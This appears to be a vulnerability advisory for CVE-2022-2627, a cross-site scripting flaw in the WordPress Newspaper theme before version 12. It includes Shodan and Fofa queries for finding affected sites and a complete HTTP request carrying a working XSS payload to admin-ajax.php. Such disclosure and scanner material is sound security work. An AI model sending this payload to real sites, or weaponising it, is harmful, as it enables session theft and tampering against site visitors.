| Title | WordPress Newspaper < 12 - Cross-Site Scripting |
|---|---|
| Author | ramondunker,c4sper0 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Fixed in version 12 |
| CVSS Score | 6.1 |
| EPSS Score | 0.23643 |
| CVE ID | CVE-2022-2627 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/themes/newspaper |
| Fofa Query | body=/wp-content/themes/newspaper |
| Tags | cve2022 cve xss wordpress wp wp-theme newspaper wpscan tagdiv vuln |
WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Length: 146
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
action=td_ajax_loop&loopState[moduleId]=--><form><math><img+onerror=alert(document.domain)+src=1><mtext></form>&loopState[server_reply_html_data]=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2627.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2627.pcap
N/AN/A